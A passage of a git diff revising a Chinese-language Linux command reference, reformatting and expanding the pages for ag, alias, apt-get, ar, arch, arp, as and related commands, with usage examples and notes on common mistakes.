不同文件中匹配到的内容新建一行显示(默认开启) + -c --count 只显示每个文件中匹配到的数量 (通常与匹配行数不同) + --[no]color 在结果中打印颜色代码(默认启用) + --color-line-number 行号的颜色代码(默认值为:1;33)。 + --color-match 匹配结果的颜色代码(默认值为:30;43)。 + --color-path 路径名称的颜色代码(默认值为:1;32) + --column 打印结果中的列号 + --[no]filename 打印文件名(除非搜索单个文件,否则启用)。 + -H --[no]heading 在每个文件匹配前输出文件名(默认开启) + -C --context [LINES] 显示匹配行上下两行(默认2行) + --[no]group 和这些一样: --[no]break --[no]heading + -g --filename-pattern PATTERN 打印匹配PATTERN的文件名 + -l --files-with-matches 显示包含匹配的文件名(不显示匹配的行) + -L --files-without-matches 只显示不包含匹配项的文件名 + --print-all-files 打印所有搜索到的文件的标题,甚至那些不包含匹配的文件。 + --[no]numbers 打印行号。默认情况是在搜索流时省略行号。 + -o --only-matching 只输出每行匹配的部分 + --print-long-lines 在很长的行上打印匹配信息(默认:>2k字符)。 + --passthrough 当搜索一个流时,打印所有的行,即使它们不匹配。 + --silent 抑制所有的日志信息,包括错误 + --stats 打印统计(扫描的文件、花费的时间等)。 + --stats-only 打印统计信息,不打印其他信息(与搜索单个文件时的--计数相同)。 + --vimgrep 像vim的:vimgrep /pattern/g那样打印结果(它报告每一行的匹配结果) + -0 --null --print0 用null分隔文件名(用于'xargs -0')。 + +搜索选项: + -a --all-types 搜索所有文件(包括隐藏文件) + -D --debug 可笑的调试(可能没有用) + --depth NUM 目录搜索最大深度(默认25) + -f --follow 跟随链接进行搜索 + -F --fixed-strings 为了与grep兼容,--literal的别名。 + -G --file-search-regex 根据正则匹配搜索指定类型的文件 + --hidden 搜索隐藏文件 (但遵从 .*ignore 文件) + -i --ignore-case 不区分大小写匹配 + --ignore PATTERN 忽略匹配 PATTERN 的文件/目录(也允许使用文字文件/目录名称) + --ignore-dir NAME 为了与ack兼容,--ignore的别名 + -m --max-count NUM 在一个文件中最大匹配的数量(默认: 10,000) + --one-device 不跟随其他设备的链接搜索 + -p --path-to-ignore STRING 在STRING使用.ignore文件 + -Q --literal 不要将PATTERN解析为正则表达式 + -s --case-sensitive 敏感地匹配案例 + -S --smart-case 不区分大小写匹配,除非 PATTERN 包含大写字符 + --search-binary 搜索二进制文件 + -t --all-text 搜索所有文本文件(不包括隐藏文件) + -u --unrestricted 搜索所有文件 (忽略 .ignore, .gitignore, 比如:搜索二进制和隐藏文件) + -U --skip-vcs-ignores 忽略VCS的忽略文件(指的是 .gitignore,.hgignore;仍然遵从.ignore)。 + -v --invert-match 反向匹配 + -w --word-regexp 只匹配整个单词 + -W --width NUM 在NUM字符后截断匹配行 + -z --search-zip 搜索压缩文件中的内容 + +文件类型: +搜索可以限制在某些类型的文件中,例如: + ag --html needle 结果输出到指定类型文件 + - 在后缀为 .htm、.html、.shtml 或 .xhtml 的文件中搜索“needle” + +有关支持的文件类型的列表,可以运行: + ag --list-file-types 列出支持的文件类型 +``` + +### 实例 + +列出当前目录下包含 `npm` 的文件 + +```shell +➜ vue-project ag npm ./ +README.md +16:npm install +22:npm run dev +28:npm run build +``` + diff --git a/command/alias.md b/command/alias.md index b0ae470440c..55e3337de27 100644 --- a/command/alias.md +++ b/command/alias.md @@ -1,117 +1,118 @@ alias === -用来设置指令的别名 +定义或显示别名。 -## 补充说明 +## 概要 -**alias命令** 用来设置指令的别名。我们可以使用该命令可以将一些较长的命令进行简化。使用alias时,用户必须使用单引号`''`将原来的命令引起来,防止特殊字符导致错误。 - -alias命令的作用只局限于该次登入的操作。若要每次登入都能够使用这些命令别名,则可将相应的alias命令存放到bash的初始化文件`/etc/bashrc`中。 - -### 语法 - -``` -alias(选项)(参数) -``` - -### 选项 - -``` --p:打印已经设置的命令别名。 -``` - -### 参数 - -命令别名设置:定义命令别名,格式为“命令别名=‘实际命令’”。 - -### 实例 - -**alias 的基本使用方法为:** - -``` -alias 新的命令='原命令 -选项/参数' +```shell +alias [-p] [name[=value] ...] ``` -例如:`alias l=‘ls -lsh'`将重新定义ls命令,现在只需输入l就可以列目录了。直接输入 alias 命令会列出当前系统中所有已经定义的命令别名。 +## 主要用途 -要删除一个别名,可以使用 unalias 命令,如 unalias l。 +- 简化较长的命令。 +- 定义、修改或者显示一个或多个别名。 -**查看系统已经设置的别名:** +## 选项 ```shell -[root@localhost ~]# -[root@localhost ~]# alias -alias cp='cp -i' -alias egrep='egrep --color=auto' -alias fgrep='fgrep --color=auto' -alias grep='grep --color=auto' -alias l.='ls -d .* --color=auto' -alias ll='ls -l --color=auto' -alias ls='ls --color=auto' -alias mv='mv -i' -alias rm='rm -i' -alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde' -[root@localhost ~]# - +-p:显示全部已定义的别名。 +name(可选):指定要(定义、修改、显示)的别名。 +value(可选):别名的值。 ``` -### 命令别名永久生效 -直接在shell里设定的命令别名,在终端关闭或者系统重新启动后都会失效,如何才能永久有效呢?办法就是将别名的设置加入~/.bashrc文件,然后重新载入下文件就可以了。 +### 返回值 -```shell -$ vim ~/.bashrc -``` -在文件最后面加入别名设置,如:alias rm=’rm -i’,保存后重新载入: +alias 返回 true 除非您要显示的别名未定义。 + +## 例子 ```shell -$ source ~/.bashrc -``` +# 显示全部已定义的别名 +alias +alias -p -这样就可以永久保存命令的别名了。因为修改的是当前用户目录下的.bashrc文件,所以这样的方式只对当前用户有用。如果要对所有用户都有效,修改/etc目录下的bashrc文件就可以了。在CentOS7下,这个文件是/etc/bash.bashrc。此外在CentOS7下,细看~/.bashrc文件,会发有这样一段代码: +# 显示已定义的别名(假设当前环境存在以下别名) +alias ls +alias ls grep -```shell -if [ -f ~/.bash_aliases ]; then - . ~/.bash_aliases -fi +# 定义或修改别名的值 +alias ls='ls --color=auto' +alias ls='ls --color=never' grep='grep --color=never' ``` -这个代码的意思就是加载.bash_aliases文件,CentOS7已经帮我们考虑好了,所以也可以在用户根目录下新建一个文件.bash_aliases存放命令别名设置。 +## 知识点 -### 小结 +直接在shell里设定的命令别名,在终端关闭或者系统重新启动后都会失效,如何才能永久有效呢? -alias这个命令是shell的内建命令,可以根据自己的使用习惯设置一些别名,需要注意的就是和其他命令冲突的情况。 +使用编辑器打开`~/.bashrc`,在文件中加入别名设置,如:alias rm='rm -i',保存后执行`source ~/.bashrc`,这样就可以永久保存命令的别名了。 +因为修改的是当前用户目录下的`~/.bashrc`文件,所以这样的方式只对当前用户有用。如果要对所有用户都有效,修改`/etc/bashrc`文件就可以了。 -#### 一、 范例演示 +> 请注意,以下内容可能与您实际使用的系统有出入: +> +> 在CentOS7下,这个文件是`/etc/bash.bashrc`。此外在CentOS7下,细看`~/.bashrc`文件,会发现有这样一段代码: +> +> ```shell +> if [ -f ~/.bash_aliases ]; then +> . ~/.bash_aliases +> fi +> ``` +> +> 这个代码的意思就是如果存在那么就加载`.bash_aliases`文件,所以也可以在用户根目录下新建该文件用于单独存放命令别名设置。 -在使用和维护Linux系统过程中,我们常常希望根据自己的需要来定义一些命令,那么这样的操作是不是很难呢?其实不是,系统已经为我们设置好了相关的命令,下面小编就以CentOS6.4系统为例,为大家演示如何创建自己的命令。 -#### 二、 自定义命令简介 +## 错误用法 -CentOS系统下的创建自定义命令其实比较简单,使用的命令就是alias,具体使用的方法就是 alias 自定义命令名=‘命令’。但是需要注意的是,在自定义之前需要查看自定义的命令名是否是系统已经使用的命令名,否则会冲突,另外一个就是定期清理不需要的自定义命令名。 +- 要显示的别名未定义。 +- 当您定义(修改)别名的值的时候,由于值的字符串有空格但您没有用**单引号扩起**,那么会导致严重的问题: +```shell +# 为方便演示,删除全部别名 +unalias -a +# 没有用单引号扩起 +alias rm=rm -rf +# 执行命令后报错 bash: alias: -rf: not found +# 这时使用alias查看rm的别名时返回 alias rm='rm' +``` -#### 三、 演示举例 - -假定系统操作员希望进行如下操作: +```shell +# 更具有迷惑性的例子 +# 为方便演示,删除全部别名 +unalias -a +# 仍然没有用单引号括起 +alias ls=ls --color=never +# 执行命令后看起来没有报错 + +# 使用alias查看全部别名会发现运行结果如下: +# alias --color=never +# alias ls='ls' +# alias处理时将它们看成了两组 +``` -1.进入目录/root -2.查看目录下文件 -3.切换回根目录 +## Q&A -通常这需要三条命令 cd /root;ls;cd / ,如果需要经常使用那么我们可以通过自定义命令的方式用一条命令完成全部操作。 +Q:如果我要显示一到多个别名,但不知道其中是否有未定义的该怎么办? -#### 四、 操作过程 +A:正常执行就是了,alias不会因为有一个未定义的别名就结束对剩余参数的执行。 +Q:如果我这么定义`alias cd='ls' ls='cd'`,会有什么后果? -首先使用命令 type 自定义命令名 ,查看自定义命令名是否被系统占用。从图中可以看出test命令名已被系统占用,所以不能使用,而loo这个命令名经查询可以使用。 +A:运行cd依然会切换目录,运行ls依然会列出文件夹的内容;不要这样定义。 -使用命令alias创建自定义命令:alias loo='cd /root;ls;cd /' 。需要注意的是命令的使用格式,分号与分号之间是没有空格的。 -测试一下自定义命令,当输入命令 loo 时,发现系统依次完成了 cd /root、ls、cd / 三条命令,说明设置成功。同时也可直接使用命令 alias 查询系统中是否添加了loo这个自定义命令。 +### 注意 -如果希望删除这个自定义命令,可以使用命令 unalias 自定义命令名 来完成。执行之后发现,loo命令已不存在,同时自定义命令库中也没有loo命令。 +1. 执行脚本时请注意: + - 使用 `source` 命令执行的bash脚本如果执行了 `alias` 或 `unalias` 命令,那么有可能会对终端环境的别名设置产生影响;终端环境的别名设置也可能改变运行结果; + - 通过 `sh` 方式调用的 bash 脚本或直接运行当前用户有执行权限的脚本不受终端环境的别名影响。 +2. 删除别名,请查看`unalias`命令。 +3. 建议您不要对 `mv cp rm` 等命令的别名设置危险的 `-f` 选项,比如 `alias rm='rm -f'`。 +4. 需要注意别名是否和其他命令有冲突的情况。 +5. 该命令是 bash 内建命令,相关的帮助信息请查看 `help` 命令。 +### 其他参考链接 - +- [alias(1p) - Linux manual page](https://man7.org/linux/man-pages/man1/alias.1p.html) +- [Linux命令详解:\[8\]alias创建自己的命令](https://jingyan.baidu.com/article/ac6a9a5e6738422b653eac01.html) diff --git a/command/apachectl.md b/command/apachectl.md index 64f2ffe8efc..14d220cab8e 100644 --- a/command/apachectl.md +++ b/command/apachectl.md @@ -7,13 +7,13 @@ Apache服务器前端控制工具 **apachectl命令** 是Apache的Web服务器前端控制工具,用以启动、关闭和重新启动Web服务器进程。 -### 语法 +### 语法 ``` apachectl(参数) ``` -### 参数 +### 参数 * configtest:检查设置文件中的语法是否正确; * fullstatus:显示服务器完整的状态信息; @@ -25,4 +25,3 @@ apachectl(参数) * stop:停止Apache服务器。 - \ No newline at end of file diff --git a/command/apropos.md b/command/apropos.md index a48625063c1..9fb8d3c4f65 100644 --- a/command/apropos.md +++ b/command/apropos.md @@ -5,17 +5,17 @@ apropos ## 补充说明 -**apropos命令** 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字,然后把结果送到标准输出。  +**apropos命令** 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字,然后把结果送到标准输出。 如果你不知道完成某个特定任务所需要命令的名称,可以使用一个关键字通过Linux apropos实用程序来搜索它。该实用程序可以搜索关键字并且显示所有包含匹配项的man页面的简短描述。另外,使用man实用程序和-k(关键字)选项,可以得到和用Linux apropos实用程序相同的结果(实际上是相同的命令)。 -### 语法 +### 语法 ```shell apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale] -C [file] keyword ... ``` -### 选项 +### 选项 ```shell -d, --debug:输出调试信息。 @@ -27,18 +27,18 @@ apropos [-dalhvV] -e|-[w|-r] [-s section] [-m system[,...]] [-M path] [-L locale -l, --long:不根据终端宽度缩减输出。 -s section, --section section:只查找指定的手册section。 -m system[,...], --systems=system[,...]:用于查找其它操作系统的手册页。 --M path, --manpath=path:指定从其它以冒号分隔的手册页层次查找。默认使用$MANPATH环境变量。这个选项覆盖$MANPATH的内容。 --L locale, --locale=locale:apropos调用C函数setlocale来得到当前本地化信息,包括$LC_MESSAGE和$LANG。使用该选项提供一个locale字符串来临时更改本地化信息。 +-M path, --manpath=path:指定从其它以冒号分隔的手册页层次查找。默认使用 $MANPATH 环境变量。这个选项覆盖 $MANPATH 的内容。 +-L locale, --locale=locale:apropos调用C函数setlocale来得到当前本地化信息,包括 $LC_MESSAGE 和 $LANG 。使用该选项提供一个locale字符串来临时更改本地化信息。 -C file, --config-file=file:使用这个用户配置文件而不是默认的~/.manpath。 -h, --help:打印帮助信息并退出。 -V, --version:打印版本信息并退出。 ``` -### 返回值 +### 返回值 返回0表示成功,1表示用法、语法或配置文件错误,2表示操作错误,16表示没有找到匹配的内容。 -### 实例 +### 实例 ```shell [root@localhost ~]# man -k who @@ -69,6 +69,3 @@ whoami (1) - print effective userid ```shell apropos -a emacs vi ``` - - - \ No newline at end of file diff --git a/command/apt-get.md b/command/apt-get.md index 8af46a2e7ac..c9189162f51 100644 --- a/command/apt-get.md +++ b/command/apt-get.md @@ -7,24 +7,34 @@ Debian Linux发行版中的APT软件包管理工具 **apt-get命令** 是Debian Linux发行版中的APT软件包管理工具。所有基于Debian的发行都使用这个包管理系统。deb包可以把一个应用的文件包在一起,大体就如同Windows上的安装文件。 -### 语法 +### 语法 ```shell -apt-get(选项)(参数) +apt-get [OPTION] PACKAGE ``` -### 选项 +### 选项 ```shell +apt-get install # 安装新包 +apt-get remove # 卸载已安装的包(保留配置文件) +apt-get purge # 卸载已安装的包(删除配置文件) +apt-get update # 更新软件包列表 +apt-get upgrade # 更新所有已安装的包 +apt-get autoremove # 卸载已不需要的包依赖 +apt-get dist-upgrade # 自动处理依赖包升级 +apt-get autoclean # 将已经删除了的软件包的.deb安装文件从硬盘中删除掉 +apt-get clean # 删除软件包的安装包 + -c:指定配置文件。 ``` -### 参数 +### 参数 * 管理指令:对APT软件包的管理操作; * 软件包:指定要操纵的软件包。 -### 实例 +### 实例 使用apt-get命令的第一步就是引入必需的软件库,Debian的软件库也就是所有Debian软件包的集合,它们存在互联网上的一些公共站点上。把它们的地址加入,apt-get就能搜索到我们想要的软件。/etc/apt/sources.list是存放这些地址列表的配置文件,其格式如下: @@ -89,4 +99,4 @@ apt-get autoclean ``` - \ No newline at end of file + diff --git a/command/apt-key.md b/command/apt-key.md index a5323317de9..d35b8578824 100644 --- a/command/apt-key.md +++ b/command/apt-key.md @@ -7,17 +7,17 @@ apt-key **apt-key命令** 用于管理Debian Linux系统中的软件包密钥。每个发布的deb包,都是通过密钥认证的,apt-key用来管理密钥。 -### 语法 +### 语法 ```shell apt-key(参数) ``` -### 参数 +### 参数 操作指令:APT密钥操作指令。 -### 实例 +### 实例 ```shell apt-key list # 列出已保存在系统中key。 @@ -27,4 +27,3 @@ apt-key update # 更新本地trusted数据库,删除过期没用的key ``` - \ No newline at end of file diff --git a/command/apt-sortpkgs.md b/command/apt-sortpkgs.md index 2464a82e4be..060f8ef109c 100644 --- a/command/apt-sortpkgs.md +++ b/command/apt-sortpkgs.md @@ -7,22 +7,21 @@ Debian Linux下对软件包索引文件进行排序的工具 **apt-sortpkgs命令** 是Debian Linux下对软件包索引文件进行排序的简单工具。 -### 语法 +### 语法 ```shell apt-sortpkgs(选项)(参数) ``` -### 选项 +### 选项 ```shell -s:使用源索引字段排序; -h:显示帮助信息。 ``` -### 参数 +### 参数 文件:指定要排序的包含debian包信息的索引文件。 - \ No newline at end of file diff --git a/command/aptitude.md b/command/aptitude.md index 6e577310d5f..6b447d6b16d 100644 --- a/command/aptitude.md +++ b/command/aptitude.md @@ -7,13 +7,13 @@ Debian Linux系统中软件包管理工具 **aptitude命令** 与apt-get命令一样,都是Debian Linux及其衍生系统中功能极其强大的包管理工具。与apt-get不同的是,aptitude在处理依赖问题上更佳一些。举例来说,aptitude在删除一个包时,会同时删除本身所依赖的包。这样,系统中不会残留无用的包,整个系统更为干净。它通过文本操作菜单和命令两种方式管理软件包。 -### 语法 +### 语法 ```shell aptitude(选项)(参数) ``` -### 选项 +### 选项 ```shell -h:显示帮助信息; @@ -24,11 +24,11 @@ aptitude(选项)(参数) -u:启动时下载新的软件包列表。 ``` -### 参数 +### 参数 操作命令:用户管理软件包的操作命令。 -### 实例 +### 实例 以下是我总结的一些常用aptitude命令,仅供参考: @@ -48,4 +48,3 @@ aptitude autoclean # 仅删除过期的包文件 当然,你也可以在文本界面模式中使用 aptitude。 - \ No newline at end of file diff --git a/command/ar.md b/command/ar.md index d309168256f..6b15af34b83 100644 --- a/command/ar.md +++ b/command/ar.md @@ -7,55 +7,57 @@ ar **ar命令** 是一个建立或修改备存文件,或是从备存文件中抽取文件的工具,ar可让您集合许多文件,成为单一的备存文件。在备存文件中,所有成员文件皆保有原来的属性与权限 -### 语法 +### 语法 -``` -ab(选项)(参数) -Usage: ar [emulation options] [-]{dmpqrstx}[abcDfilMNoPsSTuvV] [--plugin ] [member-name] [count] archive-file file... - ar -M [] [member-name] [count] archive-file file... + ar -M [ 以下内容来自 GNU ar (GNU Binutils) 2.40 版本指令 ```shell -d - 从归档文件中删除文件 -m[ab] - 在归档文件中移动文件 -p - 打印在归档文件中找到的文件 -q[f] - 将文件快速追加到归档文件中 -r[ab][f][u] - 替换归档文件中已有的文件或加入新文件 -s - act as ranlib -t - 显示归档文件的内容 -x[o] - 从归档文件中分解文件 +命令: + d - 从归档文件中删除文件 + m[ab] - 在归档文件中移动文件 + p - 打印在归档文件中找到的文件 + q[f] - 将文件快速追加到归档文件中 + r[ab][f][u] - 替换归档文件中已有的文件或加入新文件 + s - 作为 ranlib 工作 + t[O][v] - display contents of the archive + x[o] - 从归档文件中分解文件 特定命令修饰符: -[a] - 将文件置于 [成员名] 之后 -[b] - 将文件置于 [成员名] 之前 (于 [i] 相同) -[D] - use zero for timestamps and uids/gids -[U] - use actual timestamps and uids/gids (default) -[N] - use instance [count] of name -[f] - truncate inserted file names -[P] - 在匹配时使用完整的路径名 -[o] - 保留原来的日期 -[u] - 只替换比当前归档内容更新的文件 + [a] - 将文件置于 [成员名] 之后 + [b] - 将文件置于 [成员名] 之前 (于 [i] 相同) + [D] - 将 0 用于时间戳和 uid/gid(默认) + [D] - 使用实际时间戳和 uid/gid + [N] - 使用名称的实例 [数量] + [f] - 截去插入的文件名称 + [P] - 在匹配时使用完整的路径名 + [o] - 保留原来的日期 + [O] - display offsets of files in the archive + [u] - 只替换比当前归档内容更新的文件 通用修饰符: -[c] - 不在必须创建库的时候给出警告 -[s] - 创建归档索引 (cf. ranlib) -[S] - 不要创建符号表 -[T]         - 做一个压缩档案 -[v] - 输出较多信息 -[V] - 显示版本号 -@ - 从读取选项 ---target=BFDNAME - 将目标对象格式指定为BFDNAME -``` - -选项参数 - -```shell ---plugin

- load the specified plugin + [c] - 不在必须创建库的时候给出警告 + [s] - 创建归档索引 (cf. ranlib) + [l ] - specify the dependencies of this library + [S] - 不要创建符号表 + [T] - deprecated, use --thin instead + [v] - 输出较多信息 + [V] - 显示版本号 + @ - 从 读取选项 + --target=BFDNAME - 指定目标对象格式为 BFDNAME + --output=DIRNAME - specify the output directory for extraction operations + --record-libdeps= - specify the dependencies of this library + --thin - make a thin archive +可选项: + --plugin

- 加载指定的插件程序 +仿真选项: + 没有仿真特有的选项 ``` -ar:支持的目标: elf64-x86-64 elf32-i386 elf32-x86-64 a.out-i386-linux pei-i386 pei-x86-64 elf64-l1om elf64-k1om elf64-little elf64-big elf32-little elf32-big plugin srec symbolsrec verilog tekhex binary ihex - ### 实例 打包文件 @@ -101,4 +103,4 @@ d.c ``` - + diff --git a/command/arch.md b/command/arch.md index 75cd9fbe1b4..3b797fb33c8 100644 --- a/command/arch.md +++ b/command/arch.md @@ -3,22 +3,34 @@ arch 显示当前主机的硬件架构类型 -## 补充说明 +## 概要 -**arch命令** 用于显示当前主机的硬件架构类型。arch命令等同于`命令name -m`在当前的Linux系统下,arch命令输出结果有:i386、i486、i586、alpha、sparc、arm、m68k、mips、ppc、i686等 +```shell +arch [OPTION]... +``` + +## 主要用途 -### 语法 +- 打印机器架构信息;`arch` 命令输出结果有:i386、i486、i586、alpha、sparc、arm、m68k、mips、ppc、i686等。 + +## 选项 ```shell -arch +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 ``` -### 实例 +## 例子 ```shell -arch +[root@localhost ~]# arch x86_64 ``` +### 注意 + +1. 该命令等价于 `uname -m`。 + +2. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 arch`,`info coreutils 'arch invocation'`。 + - \ No newline at end of file diff --git a/command/arj.md b/command/arj.md index 452d30c1ea2..05181e1653f 100644 --- a/command/arj.md +++ b/command/arj.md @@ -7,16 +7,15 @@ arj **arj命令** 是 `.arj` 格式的压缩文件的管理器,用于创建和管理 `.arj` 压缩包。 -### 语法 +### 语法 ```shell arj(参数) ``` -### 参数 +### 参数 * 操作指令:对 `.arj` 压缩包执行的操作指令; * 压缩包名称:指定要操作的arj压缩包名称。 - \ No newline at end of file diff --git a/command/arp.md b/command/arp.md index 542d4b46a31..993f236f416 100644 --- a/command/arp.md +++ b/command/arp.md @@ -1,12 +1,24 @@ arp === -arp 命令用于显示和修改 IP 到 MAC 转换表。 +arp 命令用于显示和修改 IP 到 MAC 转换表 ## 补充说明 **arp 命令** 是 Address Resolution Protocol,地址解析协议,是通过解析网络层地址来找寻数据链路层地址的一个网络协议包中极其重要的网络传输协议。而该命令可以显示和修改 arp 协议解析表中的缓冲数据。 +这个核心协议模块实现RFC826中定义的 Address Resolution Protocol [译注:即TCP/IP的第三层到第一层的地址转换协议],用于在直接相连的网络中换第二层硬件地址和 Ipv4 协议地址之间的转换。 用户除非想对其进行配置,否则一般不会直接操作这个模块。 + +实际上,它提供对核心中其它协议的服务。 + +用户进程可以使用 packet(7) 的 sockets,收到 ARP 包(译注:一译分组)。 还有一种机制是使用 netlink(7) sockets,在用户空间管理 ARP 缓存的机制。我们也可以通过 ioctl (2) 控制任意 PF_INET socket上的 ARP 表 + +ARP 模块维护一个硬件地址到协议地址映射的缓存。这个缓存有大小限制,所以不常用的和旧的记录(Entry)将被垃圾收集器清除(garbage-collected),垃圾收集器永远不能删除标为永久的记录。我们可以使用ioctls直接操纵缓冲, 并且其性状可以用下面定义的 sysctl 调节。 + +如果在限定的时间(见下面的sysctl)内,一条现存映射没有肯定反馈时, 则认为相邻层的缓存记录失效。 为了再次向目标发送数据,ARP将首先试着询问本地arp进程 app_solicit 次,获取更新了的 MAC(介质访问控制)地址。 如果失败,并且旧的MAC地址是已知的,则发送 ucast_solicit 次的 unicast probe。如果仍然失败,则将向网络广播一个新的ARP请求,此时要 有待发送数据的队列 + +如果 Linux 接到一个地址请求,而且该地址指向 Linux 转发的地址,并且接收接口打开了代理 arp 时,Linux 将自动添加一条非永久的代理 arp 记录;如果存在拒绝到目标的路由,则不添加代理 arp 记录。 + ### 语法 ```shell @@ -15,16 +27,18 @@ arp(选项)(参数) ### 选项 - -a 主机 :显示 arp 缓冲区的所有条目; - -H 地址类型 :指定 arp 指令使用的地址类型; - -d 主机 :从 arp 缓冲区中删除指定主机的 arp 条目; - -D:使用指定接口的硬件地址; - -e:以 Linux 的显示风格显示 arp 缓冲区中的条目; - -i 接口 :指定要操作 arp 缓冲区的网络接口; - -s 主机 MAC 地址 :设置指定的主机的 IP 地址与 MAC 地址的静态映射; - -n:以数字方式显示 arp 缓冲区中的条目; - -v:显示详细的 arp 缓冲区条目,包括缓冲区条目的统计信息; - -f 文件 :设置主机的 IP 地址与 MAC 地址的静态映射。 +```shell +-a # 主机 :显示 arp 缓冲区的所有条目; +-H # 地址类型 :指定 arp 指令使用的地址类型; +-d # 主机 :从 arp 缓冲区中删除指定主机的 arp 条目; +-D # 使用指定接口的硬件地址; +-e # 以 Linux 的显示风格显示 arp 缓冲区中的条目; +-i # 接口 :指定要操作 arp 缓冲区的网络接口; +-s # 主机 MAC 地址 :设置指定的主机的 IP 地址与 MAC 地址的静态映射; +-n # 以数字方式显示 arp 缓冲区中的条目; +-v # 显示详细的 arp 缓冲区条目,包括缓冲区条目的统计信息; +-f # 文件 :设置主机的 IP 地址与 MAC 地址的静态映射。 +``` ### 参数 diff --git a/command/arpd.md b/command/arpd.md index b609b2bdc1b..c6ed7d3ca7d 100644 --- a/command/arpd.md +++ b/command/arpd.md @@ -7,13 +7,13 @@ arpd **arpd命令** 是用来收集免费arp信息的一个守护进程,它将收集到的信息保存在磁盘上或者在需要时,提供给内核用户用于避免多余广播。 -### 语法 +### 语法 ```shell arpd(选项)(参数) ``` -### 选项 +### 选项 ```shell -l:将arp数据库输出到标准输出设备显示并退出; @@ -24,11 +24,11 @@ arpd(选项)(参数) -n:设定缓冲失效时间。 ``` -### 参数 +### 参数 网络接口:指定网络接口。 -### 实例 +### 实例 启动arpd进程: @@ -43,4 +43,3 @@ arpd -l -b /var/tmp/arpd.db ``` - \ No newline at end of file diff --git a/command/arping.md b/command/arping.md index 02bb77c2b2e..918942df3bf 100644 --- a/command/arping.md +++ b/command/arping.md @@ -7,13 +7,13 @@ arping **arping命令** 是用于发送arp请求到一个相邻主机的工具,arping使用arp数据包,通过ping命令检查设备上的硬件地址。能够测试一个ip地址是否是在网络上已经被使用,并能够获取更多设备信息。功能类似于ping。 -### 语法 +### 语法 ```shell arping(选项)(参数) ``` -### 选项 +### 选项 ```shell -b:用于发送以太网广播帧(FFFFFFFFFFFF)。arping一开始使用广播地址,在收到响应后就使用unicast地址。 @@ -21,15 +21,15 @@ arping(选项)(参数) -f:表示在收到第一个响应报文后就退出; -w timeout:设定一个超时时间,单位是秒。如果到了指定时间,arping还没到完全收到响应则退出; -c count:表示发送指定数量的ARP请求数据包后就停止。如果指定了deadline选项,则arping会等待相同数量的arp响应包,直到超时为止; --s source:设定arping发送的arp数据包中的SPA字段的值。如果为空,则按下面处理,如果是DAD模式(冲突地址探测),则设置为0.0.0.0,如果是Unsolicited ARP模式(Gratutious ARP)则设置为目标地址,否则从路由表得出; +-s source:设定arping发送的arp数据包中的SPA字段的值。如果为空,则按下面处理,如果是DAD模式(冲突地址探测),则设置为0.0.0.0,如果是Unsolicited ARP模式(Gratuitous ARP)则设置为目标地址,否则从路由表得出; -I interface:设置ping使用的网络接口。 ``` -### 参数 +### 参数 目的主机:指定发送ARP报文的目的主机。 -### 实例 +### 实例 ```shell [root@localhost ~]# arping www.baidu.com @@ -47,4 +47,3 @@ Received 8 response(s) ``` - \ No newline at end of file diff --git a/command/arptables.md b/command/arptables.md index 64af5706a91..1b80c836fde 100644 --- a/command/arptables.md +++ b/command/arptables.md @@ -7,13 +7,13 @@ arptables **arptables命令** 用来设置、维护和检查Linux内核中的arp包过滤规则表。 -### 语法 +### 语法 ```shell arptables(选项) ``` -### 选项 +### 选项 ```shell -A:向规则链中追加规则; @@ -32,4 +32,3 @@ arptables(选项) ``` - \ No newline at end of file diff --git a/command/arpwatch.md b/command/arpwatch.md index 72883f3443c..2c04b5a4bf1 100644 --- a/command/arpwatch.md +++ b/command/arpwatch.md @@ -7,13 +7,13 @@ arpwatch **arpwatch命令** 用来监听网络上arp的记录。 -### 语法 +### 语法 ```shell arpwatch(选项) ``` -### 选项 +### 选项 ```shell -d:启动排错模式; @@ -23,4 +23,3 @@ arpwatch(选项) ``` - \ No newline at end of file diff --git a/command/as.md b/command/as.md index 0904e5f0d83..12578067995 100644 --- a/command/as.md +++ b/command/as.md @@ -5,15 +5,15 @@ as ## 补充说明 -**as命令** GNU组织推出的一款汇编语言编译器,它支持多种不同类型的处理器。 +**as命令** 是GNU组织推出的一款汇编语言编译器,它支持多种不同类型的处理器。 -### 语法 +### 语法 ```shell -as(选项)(参数) +as [选项] [参数] ``` -### 选项 +### 选项 ```shell -ac:忽略失败条件; @@ -33,9 +33,44 @@ as(选项)(参数) --statistics:打印汇编所用的最大空间和总时间。 ``` -### 参数 +### 参数 汇编文件:指定要汇编的源文件。 +### 示例 - \ No newline at end of file +编译一个汇编文件并生成目标文件 + +```shell +as -o output.o source.s +``` + +忽略调试指令并生成目标文件 + +```shell +as -ad -o output.o source.s +``` + +生成包含调试信息的目标文件 + +```shell +as -g -o output.o source.s +``` + +包括宏扩展并生成目标文件 + +```shell +as -am -o output.o source.s +``` + +打印汇编所用的最大空间和总时间 + +```shell +as --statistics -o output.o source.s +``` + +跳过空白和注释预处理并生成目标文件 + +```shell +as -f -o output.o source.s +``` \ No newline at end of file diff --git a/command/at.md b/command/at.md index a03a31beb89..352063efe3a 100644 --- a/command/at.md +++ b/command/at.md @@ -5,17 +5,17 @@ at ## 补充说明 -**at命令** 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm(小时:分钟)式的时间指定。假如该时间已过去,那么就放在第二天执行。当然也能够使用midnight(深夜),noon(中午),teatime(饮茶时间,一般是下午4点)等比较模糊的 词语来指定时间。用户还能够采用12小时计时制,即在时间后面加上AM(上午)或PM(下午)来说明是上午还是下午。 也能够指定命令执行的具体日期,指定格式为month day(月 日)或mm/dd/yy(月/日/年)或dd.mm.yy(日.月.年)。指定的日期必须跟在指定时间的后面。 +**at命令** 用于在指定时间执行命令。at允许使用一套相当复杂的指定时间的方法。它能够接受在当天的hh:mm(小时:分钟)式的时间指定。假如该时间已过去,那么就放在第二天执行。当然也能够使用midnight(深夜),noon(中午),teatime(饮茶时间,一般是下午4点)等比较模糊的词语来指定时间。用户还能够采用12小时计时制,即在时间后面加上AM(上午)或PM(下午)来说明是上午还是下午。也能够指定命令执行的具体日期,指定格式为month day(月 日)或mm/dd/yy(月/日/年)或dd.mm.yy(日.月.年)。指定的日期必须跟在指定时间的后面。 -上面介绍的都是绝对计时法,其实还能够使用相对计时法,这对于安排不久就要执行的命令是很有好处的。指定格式为:`now + count 